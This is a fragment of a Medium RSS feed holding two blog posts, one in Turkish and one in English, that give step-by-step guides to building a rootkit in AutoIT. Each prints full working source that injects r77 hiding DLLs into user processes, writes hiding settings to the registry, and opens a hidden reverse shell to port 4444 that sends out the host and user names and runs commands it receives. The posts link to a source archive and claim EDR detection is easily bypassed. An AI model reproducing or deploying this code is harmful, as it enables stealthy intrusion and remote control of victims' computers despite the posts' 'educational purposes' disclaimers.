&quot;\r77-x64.dll&quot;)<br><br>sleep(1000)<br><br>FileInstall(&quot;r77-x86.dll&quot;, @TempDir &amp; &quot;\r77-x86.dll&quot;)<br>FileInstall(&quot;r77-x64.dll&quot;, @TempDir &amp; &quot;\r77-x64.dll&quot;)<br><br>Global $x86DllPath = @TempDir &amp; &quot;\r77-x86.dll&quot;<br>Global $x64DllPath = @TempDir &amp; &quot;\r77-x64.dll&quot;<br>$colItems = &quot;&quot;<br><br>Local $CurrentProcessName = @ScriptName<br>Local $regKey1 = &quot;HKEY_LOCAL_MACHINE\SOFTWARE\$77config\process_names&quot;<br>Local $regKey2 = &quot;HKEY_LOCAL_MACHINE\SOFTWARE\$77config\paths&quot;<br>RegWrite($regKey1, $CurrentProcessName, &quot;REG_SZ&quot;, $CurrentProcessName)<br>RegWrite($regKey2, $CurrentProcessName, &quot;REG_SZ&quot;, @ScriptFullPath)<br><br>$objWMIService = ObjGet(&quot;winmgmts:\\localhost\root\cimv2&quot;)<br>$colItems = $objWMIService.ExecQuery(&quot;SELECT * FROM Win32_Process&quot;, &quot;WQL&quot;, 0x10 + 0x20)<br><br>If IsObj($colItems) then<br>   For $objItem In $colItems<br>    local $name<br>    $objItem.GetOwner($name)<br>        If $name = @UserName Then<br>   $processName = $objItem.Name<br>   $pid = ProcessExists($processName)<br>   InjectDLL($pid,$x64DllPath)<br>   InjectDLL($pid,$x86DllPath)<br>  endif<br>    Next<br>Endif<br><br>Dim $hWnd = WinGetHandle(&#39;[CLASS:Progman]&#39;)<br>_SendMessage($hWnd, $WM_COMMAND, 0x0001A220)<br><br>sleep(1000)<br><br>TCPStartup()<br><br>Global $iSocket = ConnectToServer()<br><br>Func ConnectToServer()<br> TCPCloseSocket($iSocket)<br>    $iSocket = TCPConnect($sIPAddress, $iPort)<br>    If $iSocket = -1 or $iSocket = 10054 Then<br>        ConsoleWrite(&quot;No Connection!&quot; &amp; @CRLF)<br>    Else<br>        TCPSend($iSocket ,&quot;ComputerName: &quot; &amp; @ComputerName &amp; @CRLF &amp; &quot;Username: &quot; &amp; @UserName&amp; @CRLF)<br>    EndIf<br> sleep(2000)<br>    Return $iSocket<br>EndFunc<br><br>While True<br><br>    If $iSocket = -1 or $iSocket = 10054 Then<br>        $iSocket = ConnectToServer()<br>    Else<br>   $ret = TCPSend($iSocket ,&quot;&quot;)<br>;~    sleep(500)<br>   If @error Or $ret &lt; 0 Then<br>    TCPCloseSocket($iSocket)<br>    Do<br>     $iSocket = TCPConnect($sIPAddress, $iPort)<br>     sleep(2000)<br>    Until $iSocket = -1<br>   EndIf<br><br>   $Data = ReceiveAllData($iSocket)<br><br>   if BinaryLen($Data) &gt; 2 Then<br>    Local $iPID = Run(&quot;cmd.exe /c &quot; &amp; $data, &quot;&quot;, @SW_HIDE, 2)<br>    Local $sOutput = &quot;&quot;<br>    While True<br>     Local $sLine = StdoutRead($iPID)<br>     If @error Then ExitLoop<br>     $sOutput &amp;= $sLine<br>    WEnd<br>    TCPSend($iSocket, $sOutput)<br>    sleep(1)<br>   endif<br><br>    EndIf<br><br> TCPSend($iSocket, &quot;&quot;)<br>WEnd<br><br>Func ReceiveAllData($iSocket)<br>    Local $sReceivedData = &quot;&quot;<br>    While True<br>        Local $recvData = TCPRecv($iSocket, 4096)<br>        If @error Or StringLen($recvData) = 0 Then<br>            ExitLoop<br>        EndIf<br>        $sReceivedData &amp;= $recvData<br>    WEnd<br>    Return $sReceivedData<br>EndFunc<br><br>Func InjectDLL($pid, $dllPath)<br>    Local $PROCESS_ACCESS = 0x0002 + 0x0008 + 0x0020<br>    Local $hProcess = DllCall(&quot;kernel32.dll&quot;, &quot;handle&quot;, &quot;OpenProcess&quot;, &quot;dword&quot;, $PROCESS_ACCESS, &quot;int&quot;, 0, &quot;dword&quot;, $pid)<br>    If @error Or $hProcess[0] = 0 Then<br>        Return False<br>    EndIf<br>    Local $dllPathLen = StringLen($dllPath) + 1<br>    Local $allocMem = DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;VirtualAllocEx&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, 0, &quot;uint&quot;, $dllPathLen, &quot;dword&quot;, 0x3000, &quot;dword&quot;, 0x40)<br>    If @error Or $allocMem[0] = 0 Then Return False<br>    DllCall(&quot;kernel32.dll&quot;, &quot;int&quot;, &quot;WriteProcessMemory&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, $allocMem[0], &quot;str&quot;, $dllPath, &quot;uint&quot;, $dllPathLen, &quot;ptr&quot;, 0)<br>    Local $loadLibraryAddr = DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;GetProcAddress&quot;, &quot;ptr&quot;, DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;GetModuleHandleA&quot;, &quot;str&quot;, &quot;kernel32.dll&quot;)[0], &quot;str&quot;, &quot;LoadLibraryA&quot;)<br>    DllCall(&quot;kernel32.dll&quot;, &quot;handle&quot;, &quot;CreateRemoteThread&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, 0, &quot;uint&quot;, 0, &quot;ptr&quot;, $loadLibraryAddr[0], &quot;ptr&quot;, $allocMem[0], &quot;uint&quot;, 0, &quot;ptr&quot;, 0)<br>    DllCall(&quot;kernel32.dll&quot;, &quot;int&quot;, &quot;CloseHandle&quot;, &quot;handle&quot;, $hProcess[0])<br>    Return True<br>EndFunc<br><br></pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7ahLto8dmNE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7ahLto8dmNE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7ahLto8dmNE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5d20b200a0eb487d3c5e7dba7428be41/href">https://medium.com/media/5d20b200a0eb487d3c5e7dba7428be41/href</a></iframe><p>Yukarıdaki video da göründüğü gibi, zararlı yazılım ilk tıklandığında kendisini process listesinden, ağ bağlantılarından ve diğer uygulamalar üzerinden gizledi. Final kodlarına aşağıdaki bağlantıdan ulaşabilirsiniz.</p><p><a href="https://www.mediafire.com/file/ara4uq2a28njnbo/[SRC]+AutoIT+Rootkit.zip/file">https://www.mediafire.com/file/ara4uq2a28njnbo/[SRC]+AutoIT+Rootkit.zip/file</a></p><p>Kodun yalnızca eğitim ve araştırma amaçlı olduğunu ve tüm sorumluluğun kullanıcıya ait olduğunu belirtmekte fayda var :)</p><p>Bir sonraki makalede görüşmek dileğiyle..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e13183f3be66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Developing a Rootkit with AutoIT: A Step-by-Step Programming Guide]]></title>
            <link>https://medium.com/@tolga-sezer/developing-a-rootkit-with-autoit-a-step-by-step-programming-guide-cfd7edde5e99?source=rss-685f1838cffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfd7edde5e99</guid>
            <dc:creator><![CDATA[Tolga SEZER]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 17:09:00 GMT</pubDate>
            <atom:updated>2025-02-21T21:52:28.590Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKv9ZLExCwa3AUq5GkaEMg.png" /></figure><p><strong>By the end of this article, we will see how any desired malware can be professionally hidden on all Windows-based operating systems, including Windows 11, regardless of the programming language used.</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7ahLto8dmNE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7ahLto8dmNE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7ahLto8dmNE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3fea13a8848314c63fb03502e4a9abcc/href">https://medium.com/media/3fea13a8848314c63fb03502e4a9abcc/href</a></iframe><p><strong>What is Rootkit? The Army of Shadows Hidden in the System!</strong></p><p>Rootkits are software programs designed to remain hidden from users and security software after infiltrating a system. Their primary goal is to exist undetected within the system while executing malicious activities. For instance, they can steal sensitive data, exploit system resources, or secretly install harmful files.</p><p>Rootkits are classified as malicious software that makes unauthorized access to a system permanent, often concealing itself in a way that is nearly impossible for users to detect. This type of malware enables cyber attackers to gain full control over the system. Traditionally developed using complex programming languages, these threats have recently started emerging in simpler scripting languages like AutoIT.</p><p>So, how can a rootkit be developed using AutoIT, a basic automation language? In this article, we will examine both the technical details and the potential dangers of this process.</p><p><strong>Is AutoIT an Innocent Programming Language or a Hidden Threat?</strong></p><p>AutoIT is a scripting language designed to perform automation tasks on Windows operating systems. Its primary purpose is to handle tedious tasks on behalf of the user. Examples include moving files, closing windows, and simulating mouse and keyboard actions. In short, AutoIT is a helpful tool designed to reduce workload.</p><p>But who could have guessed that this innocent language could be transformed into a cyber weapon in the hands of malicious attackers?</p><p><strong>How to develop reverse-shell rootkit via AutoIT?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*RvH5Om5skMmhCelqzj5f9Q.gif" /></figure><p>At this stage, we will examine how the script file developed with AutoIT is hidden within the system and how it performs its activities.</p><p>First, when analyzing the <strong>“rootkit helper”</strong> code developed by Martin Fischer, we see that DLL files need to be injected into the targeted processes to remain hidden. In other words, this means that a specific executable file must be injected into applications responsible for displaying processes on the system.</p><p>Therefore, the code must be designed in such a way that it scans the entire process list on the system and injects the DLL files into the relevant process. This can be easily achieved by retrieving the necessary data using WMI parameters sent from AutoIT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*LD03hVDvKWYNkeo9hliXBw.png" /></figure><p>As seen above, we successfully retrieved the entire process list along with their PID numbers. In this step, we specifically chose to fetch the process list belonging to the same system user. We will use the PID numbers in later stages. Now, it’s time for the <strong>DLL Injection</strong> part — the most exciting part!</p><p>With AutoIT scripting, many operations can be performed on Windows operating systems using the <strong>WinAPI</strong> interface. In this section, we will use Windows APIs to gain access to the memory of the target process. Once again, we will rely on our favorite <strong>“kernel32”</strong> library for assistance.</p><p>When it comes to malware development, the essential APIs are <strong>“VirtualAllocEx”</strong> and <strong>“WriteProcessMemory”</strong>. The first one allocates memory in the target process, while the second one writes the desired data into the allocated memory space. The goal here is to open memory sections within a process, inject the desired <strong>DLL</strong>, and then trigger it from a different process.</p><p>In essence, this is the core mechanism behind the entire <strong>DLL Injection</strong> technique. Below, you can see a script that implements this process end-to-end;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*RuUDE3ZnjedATYsrF09uIA.png" /></figure><p>The steps are as follows:</p><ul><li><strong>Gain access to the target process’s memory</strong> (<em>OpenProcess</em>)<br> • <strong>Allocate memory in the target process</strong> for the size of the DLL to be injected (<em>VirtualAllocEx</em>)<br> • <strong>Write the DLL shell into the allocated memory space</strong> (<em>WriteProcessMemory</em>)<br> • <strong>Trigger the address of the injected DLL within the process</strong> (<em>GetProcAddress &gt; CreateRemoteThread(LoadLibrary)</em>)<br> • <strong>Terminate the target process’s memory access</strong> (<em>CloseHandle</em>)</li></ul><p>The <strong>“VirtualAlloc”</strong> function is often used for memory manipulations, making it likely to be detected by <strong>EDR (Endpoint Detection and Response) products</strong>. However, bypassing this detection with certain techniques is not difficult. In the future, we will explore different methods of triggering any Windows function. But for now, let’s get back to our topic.</p><p>After <strong>DLL Injection</strong>, the injected library must dynamically retrieve its parameters (configuration) and execute its intended task. There are multiple ways to achieve this. For example, it can:</p><ul><li>Read from a specific directory,</li><li>Retrieve data from a shared SMB server,</li><li>Access information over the internet,</li><li>Fetch configuration settings from environments like <strong>Regedit</strong>.</li></ul><p>In this particular case, our <strong>“rootkit helper”</strong> library reads configuration details from <strong>Regedit</strong>. Therefore, before injecting and triggering the necessary library using <strong>AutoIT</strong>, we need to write specific parameters into Regedit.</p><p>For instance, we must define which <strong>processes or directories</strong> should be hidden. As shown in the script below, we first assign the <strong>AutoIT executable’s name</strong> to the <strong>$CurrentProcessName</strong> variable. Then, we write the <strong>executable name and its directory path</strong> into the <strong>HKLM (HKEY_LOCAL_MACHINE) Regedit directories</strong>.</p><p>For example:</p><ul><li>“malware.exe”</li><li>“C:\ProgramData\malware.exe”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*cqVRILixmSVfJPmic6yGYg.png" /></figure><p>We have injected the <strong>DLL</strong>, entered its parameters into <strong>Regedit</strong>, and now it’s time to <strong>trigger it</strong>!</p><p>But after successfully hiding itself from multiple locations, what should it do next?</p><p>Of course — <strong>reverse shell!</strong> 😊</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*7fA4wvAncU8bhDnUT55ewg.png" /></figure><p>As seen in the code above, we wrote a function that continuously attempts to connect and, once successful, transmits system information such as <strong>“%Computername%”</strong> and <strong>“%Username%”</strong> to the attacker via a socket.</p><p>Next, we designed the script to process incoming commands using <strong>Netcat</strong>, execute them through <strong>CMD</strong>, and send the output back to the attacker’s machine.</p><p>Ultimately, our goal is to establish a <strong>reverse shell</strong> with a stealthy piece of malware that remains undetected in monitoring tools like <strong>Process Hacker/Process Explorer</strong> and network traffic analysis.</p><p>Now, it’s time to test it:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7ahLto8dmNE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7ahLto8dmNE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7ahLto8dmNE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3fea13a8848314c63fb03502e4a9abcc/href">https://medium.com/media/3fea13a8848314c63fb03502e4a9abcc/href</a></iframe><p>As shown in the video, we have successfully created a highly dangerous piece of malware. This rootkit software is for educational and research purposes only. All responsibility lies with the user. Unauthorized or malicious use may lead to legal consequences. All modified and used AutoIT source code is available at the link below.</p><p><a href="https://www.mediafire.com/file/ara4uq2a28njnbo/[SRC]+AutoIT+Rootkit.zip/file">https://www.mediafire.com/file/ara4uq2a28njnbo/[SRC]+AutoIT+Rootkit.zip/file</a></p><pre>#Region<br>#AutoIt3Wrapper_Outfile_x64=rootkit_reverse_tcp.exe<br>#AutoIt3Wrapper_UseUpx=y<br>#EndRegion<br>#include &lt;String.au3&gt;<br>#include &lt;SendMessage.au3&gt;<br>#include &lt;WindowsConstants.au3&gt;<br>Opt(&quot;TrayIconHide&quot;, 1)<br><br>;~ This rootkit code is for educational and research purposes only. All responsibility lies with the user. Unauthorized or malicious use may lead to legal consequences.<br>; Author: Tolga SEZER<br><br>Global $sIPAddress = &quot;192.168.77.27&quot;<br>Global $iPort = 4444<br><br>FileInstall(&quot;r77-x86.dll&quot;, @TempDir &amp; &quot;\r77-x86.dll&quot;)<br>FileInstall(&quot;r77-x64.dll&quot;, @TempDir &amp; &quot;\r77-x64.dll&quot;)<br><br>sleep(1000)<br><br>FileInstall(&quot;r77-x86.dll&quot;, @TempDir &amp; &quot;\r77-x86.dll&quot;)<br>FileInstall(&quot;r77-x64.dll&quot;, @TempDir &amp; &quot;\r77-x64.dll&quot;)<br><br>Global $x86DllPath = @TempDir &amp; &quot;\r77-x86.dll&quot;<br>Global $x64DllPath = @TempDir &amp; &quot;\r77-x64.dll&quot;<br>$colItems = &quot;&quot;<br><br>Local $CurrentProcessName = @ScriptName<br>Local $regKey1 = &quot;HKEY_LOCAL_MACHINE\SOFTWARE\$77config\process_names&quot;<br>Local $regKey2 = &quot;HKEY_LOCAL_MACHINE\SOFTWARE\$77config\paths&quot;<br>RegWrite($regKey1, $CurrentProcessName, &quot;REG_SZ&quot;, $CurrentProcessName)<br>RegWrite($regKey2, $CurrentProcessName, &quot;REG_SZ&quot;, @ScriptFullPath)<br><br>$objWMIService = ObjGet(&quot;winmgmts:\\localhost\root\cimv2&quot;)<br>$colItems = $objWMIService.ExecQuery(&quot;SELECT * FROM Win32_Process&quot;, &quot;WQL&quot;, 0x10 + 0x20)<br><br>If IsObj($colItems) then<br>   For $objItem In $colItems<br>    local $name<br>    $objItem.GetOwner($name)<br>        If $name = @UserName Then<br>   $processName = $objItem.Name<br>   $pid = ProcessExists($processName)<br>   InjectDLL($pid,$x64DllPath)<br>   InjectDLL($pid,$x86DllPath)<br>  endif<br>    Next<br>Endif<br><br>Dim $hWnd = WinGetHandle(&#39;[CLASS:Progman]&#39;)<br>_SendMessage($hWnd, $WM_COMMAND, 0x0001A220)<br><br>sleep(1000)<br><br>TCPStartup()<br><br>Global $iSocket = ConnectToServer()<br><br>Func ConnectToServer()<br> TCPCloseSocket($iSocket)<br>    $iSocket = TCPConnect($sIPAddress, $iPort)<br>    If $iSocket = -1 or $iSocket = 10054 Then<br>        ConsoleWrite(&quot;No Connection!&quot; &amp; @CRLF)<br>    Else<br>        TCPSend($iSocket ,&quot;ComputerName: &quot; &amp; @ComputerName &amp; @CRLF &amp; &quot;Username: &quot; &amp; @UserName&amp; @CRLF)<br>    EndIf<br> sleep(2000)<br>    Return $iSocket<br>EndFunc<br><br>While True<br><br>    If $iSocket = -1 or $iSocket = 10054 Then<br>        $iSocket = ConnectToServer()<br>    Else<br>   $ret = TCPSend($iSocket ,&quot;&quot;)<br>;~    sleep(500)<br>   If @error Or $ret &lt; 0 Then<br>    TCPCloseSocket($iSocket)<br>    Do<br>     $iSocket = TCPConnect($sIPAddress, $iPort)<br>     sleep(2000)<br>    Until $iSocket = -1<br>   EndIf<br><br>   $Data = ReceiveAllData($iSocket)<br><br>   if BinaryLen($Data) &gt; 2 Then<br>    Local $iPID = Run(&quot;cmd.exe /c &quot; &amp; $data, &quot;&quot;, @SW_HIDE, 2)<br>    Local $sOutput = &quot;&quot;<br>    While True<br>     Local $sLine = StdoutRead($iPID)<br>     If @error Then ExitLoop<br>     $sOutput &amp;= $sLine<br>    WEnd<br>    TCPSend($iSocket, $sOutput)<br>    sleep(1)<br>   endif<br><br>    EndIf<br><br> TCPSend($iSocket, &quot;&quot;)<br>WEnd<br><br>Func ReceiveAllData($iSocket)<br>    Local $sReceivedData = &quot;&quot;<br>    While True<br>        Local $recvData = TCPRecv($iSocket, 4096)<br>        If @error Or StringLen($recvData) = 0 Then<br>            ExitLoop<br>        EndIf<br>        $sReceivedData &amp;= $recvData<br>    WEnd<br>    Return $sReceivedData<br>EndFunc<br><br>Func InjectDLL($pid, $dllPath)<br>    Local $PROCESS_ACCESS = 0x0002 + 0x0008 + 0x0020<br>    Local $hProcess = DllCall(&quot;kernel32.dll&quot;, &quot;handle&quot;, &quot;OpenProcess&quot;, &quot;dword&quot;, $PROCESS_ACCESS, &quot;int&quot;, 0, &quot;dword&quot;, $pid)<br>    If @error Or $hProcess[0] = 0 Then<br>        Return False<br>    EndIf<br>    Local $dllPathLen = StringLen($dllPath) + 1<br>    Local $allocMem = DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;VirtualAllocEx&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, 0, &quot;uint&quot;, $dllPathLen, &quot;dword&quot;, 0x3000, &quot;dword&quot;, 0x40)<br>    If @error Or $allocMem[0] = 0 Then Return False<br>    DllCall(&quot;kernel32.dll&quot;, &quot;int&quot;, &quot;WriteProcessMemory&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, $allocMem[0], &quot;str&quot;, $dllPath, &quot;uint&quot;, $dllPathLen, &quot;ptr&quot;, 0)<br>    Local $loadLibraryAddr = DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;GetProcAddress&quot;, &quot;ptr&quot;, DllCall(&quot;kernel32.dll&quot;, &quot;ptr&quot;, &quot;GetModuleHandleA&quot;, &quot;str&quot;, &quot;kernel32.dll&quot;)[0], &quot;str&quot;, &quot;LoadLibraryA&quot;)<br>    DllCall(&quot;kernel32.dll&quot;, &quot;handle&quot;, &quot;CreateRemoteThread&quot;, &quot;handle&quot;, $hProcess[0], &quot;ptr&quot;, 0, &quot;uint&quot;, 0, &quot;ptr&quot;, $loadLibraryAddr[0], &quot;ptr&quot;, $allocMem[0], &quot;uint&quot;, 0, &quot;ptr&quot;, 0)<br>    DllCall(&quot;kernel32.dll&quot;, &quot;int&quot;, &quot;CloseHandle&quot;, &quot;handle&quot;, $hProcess[0])<br>    Return True<br>EndFunc<br><br></pre><p>See you in the next article! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfd7edde5e99" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>